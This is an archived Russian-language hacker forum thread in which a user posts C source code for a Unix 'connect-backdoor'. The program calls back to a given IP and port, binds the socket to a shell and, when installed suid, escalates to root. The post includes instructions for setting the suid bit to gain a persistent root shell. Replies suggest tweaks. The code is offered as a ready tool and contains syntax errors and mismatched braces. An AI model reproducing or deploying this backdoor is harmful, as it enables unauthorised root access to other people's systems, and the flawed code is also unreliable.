PDA

Просмотр полной версии : shados-cbd


ShadOS
30.01.2008, 01:41
Вот написал connect-backdoor для *nix систем на досуге. Если есть права root, то для использования необходимо поставить suid-бит, используя команду chmod. Т.о. бекдор при однакратной установке suid-бита даёт нам рутовый connect-backdoor.

//shados-cbd v0.1
//usage: cbd ip_addr port
//set suid bit for rootshell
//compile: gcc shados-cbd.c -o shados-cbd

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

#include<arpa/inet.h>
#include<netinet/in.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/wait.h>

#include<unistd.h>
#include<errno.h>

#define SHELL "/bin/bash"

int main(int argc , char *argv[])
{
int st;
int sockfd;
int sock_len;
pid_t bind_sh;

struct sockaddr_in att;

if (argc != 3)
{
printf("usage: %s ip_addr port\n",argv[0]);
exit(0);
}
att.sin_family = AF_INET ;
att.sin_port = htons(atoi(argv[2]));

if (inet_aton(argv[1] , &att.sin_addr) == 0)
{
perror("Invaild ip-address");
exit -1;
}

sock_len = sizeof(att);

if ((sockfd = socket(PF_INET , SOCK_STREAM , 0)) < 0)
{
perror("Socket creation faild");
exit -1;
}

if((bind_sh = fork()) == -1)
{
perror("Cannot open new process");
exit -1;
}
else
if (bind_sh == 0)
{
if(connect(sockfd , (struct sockaddr*)&att , sock_len) == -1)
{
perror("Connection error");
exit -1;
}

if((dup2(sockfd, 0) == -1) ||
(dup2(sockfd, 1) == -1) ||
(dup2(sockfd, 2) == -1) ||
(dup2(sockfd, 3) == -1));

if geteuid() {
setreuid(0,0);
setregid(0,0);
}
}
execl(SHELL , SHELL , NULL);
}
else
{
wait(&st); /* kinda useless but safe */
}

return 0;
}



P.S. Пьянству бой. Опять в зюзю.

n0ne
30.01.2008, 02:17
Если есть нет права root

Эт как?)

И вообще имхо нужно сделать элементарную проверку прав, чтоб каждый раз не комментировать\раскоммент ровать строки.

mod:

Можно и без проверки, просто запихнуть использование setreuid(0,0); и setregid(0,0); в отдельный параметр, т.е. будет не cbd ip port, а cbd ip port rights. Ну вариантов много =)

ShadOS
30.01.2008, 02:52
Эт как?)

И вообще имхо нужно сделать элементарную проверку прав, чтоб каждый раз не комментировать\раскоммент ровать строки.

Спасибо за идею:
добавляем

if geteuid() {
setreuid(0,0);
setregid(0,0);
}


Комменты поощряю ибо писалось на коленке и быстро. Все ваши пожелания постараюсь учесть.

ZaCo
30.01.2008, 10:17
вообще не думал, что человек который модули ядра с руткитами и много другого поинтереснее пишет пойдет в степь хакерских шеллов даже без поддержки псевдо-терминального устройства. короче fork()/dup()/exec()/ подозрительно - либо это "релиз" многолетней давности который нет смысла выкладывать либо хз что - аккаунт шадоуса взломали.